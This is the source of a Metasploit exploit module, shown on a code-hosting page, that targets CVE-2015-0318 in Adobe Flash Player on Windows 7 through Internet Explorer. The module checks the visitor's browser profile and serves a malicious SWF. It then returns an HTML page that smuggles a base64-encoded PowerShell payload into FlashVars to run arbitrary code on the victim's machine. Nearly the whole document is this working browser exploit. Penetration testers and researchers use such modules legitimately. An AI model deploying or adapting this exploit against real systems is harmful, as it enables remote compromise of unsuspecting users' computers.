Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_flash_pcre.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000'910include Msf::Exploit::Powershell11include Msf::Exploit::Remote::BrowserExploitServer1213def initialize(info={})14super(update_info(info,15'Name' => "Adobe Flash Player PCRE Regex Vulnerability",16'Description' => %q{17This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error18in the PCRE engine, specifically in the handling of the \c escape sequence when followed by19a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode.20},21'License' => MSF_LICENSE,22'Author' =>23[24'Mark Brand', # Found vuln25'sinn3r' # MSF26],27'References' =>28[29[ 'CVE', '2015-0318' ],30[ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ],31[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ]32],33'Payload' =>34{35'Space' => 1024,36'DisableNops' => true37},38'DefaultOptions' =>39{40'Retries' => true41},42'Platform' => 'win',43'BrowserRequirements' =>44{45:source => /script|headers/i,46:activex => [47{48clsid: "{#{CLASSID}}",49method: "LoadMovie"50}51],52:os_name => OperatingSystems::Match::WINDOWS_7,53:ua_name => Msf::HttpClients::IE,54# Ohter versions are vulnerable but .235 is the one that works for me pretty well55# So we're gonna limit to this one for now. More validation needed in the future.56:flash => lambda { |ver| ver == '16.0.0.235' }57},58'Targets' =>59[60[ 'Automatic', {} ]61],62'Privileged' => false,63'DisclosureDate' => '2014-11-25',64'DefaultTarget' => 0))65end6667def exploit68# Please see data/exploits/CVE-2015-0318/ for source,69# that's where the actual exploit is70@swf = create_swf71super72end7374def on_request_exploit(cli, request, target_info)75print_status("Request: #{request.uri}")7677if request.uri =~ /\.swf$/78print_status("Sending SWF...")79send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'})80return81end8283print_status("Sending HTML...")84tag = retrieve_tag(cli, request)85profile = browser_profile[tag]86profile[:tried] = false unless profile.nil? # to allow request the swf87send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})88end8990def exploit_template(cli, target_info)91swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"92target_payload = get_payload(cli, target_info)93psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})94b64_payload = Rex::Text.encode_base64(psh_payload)9596html_template = %Q|<html>97<body>98<object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />99<param name="movie" value="<%=swf_random%>" />100<param name="allowScriptAccess" value="always" />101<param name="FlashVars" value="sh=<%=b64_payload%>" />102<param name="Play" value="true" />103<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>104</object>105</body>106</html>107|108109return html_template, binding()110end111112def create_swf113path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" )114swf = ::File.open(path, 'rb') { |f| swf = f.read }115116swf117end118end119120121